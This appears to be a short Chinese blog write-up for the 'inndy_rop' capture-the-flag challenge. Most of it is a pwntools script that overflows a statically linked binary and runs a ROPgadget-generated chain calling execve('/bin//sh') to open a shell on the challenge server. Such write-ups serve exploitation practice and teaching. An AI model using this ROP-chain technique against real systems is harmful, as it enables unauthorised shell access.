zoukankan      html  css  js  c++  java
  • inndy_rop

    参考WP

    静态编译,直接用ROPgadget用来拼凑出rop链

    ROPgadget --binary rop --ropchain

     需要注意的是包的导入顺序,不然会报错

    from pwn import *
    from struct import pack
    
    r=remote('node3.buuoj.cn',25862)
    #r=process('./rop')
    
    p = 'a'*0xc+'bbbb'
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    
    r.sendline(p)
    r.interactive()
  • 相关阅读:
    图片体验(转载)
    addClass和css性能分析
    css选择器性能测试
    XHTML+CSS兼容性解决方案
    ASP.NET Club Web Site Starter Kit扩展之一
    CommunityServer从V1.1转换为V2.0的问题
    ASP.NET官方网站有中文版本了
    ASP.NET2.0登陆控件的使用(常见的三种方法)
    ASP.NET BLOGS Starter Kit(C#)准备发布
    基于Atlas地图使用
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12608539.html
Copyright © 2011-2022 走看看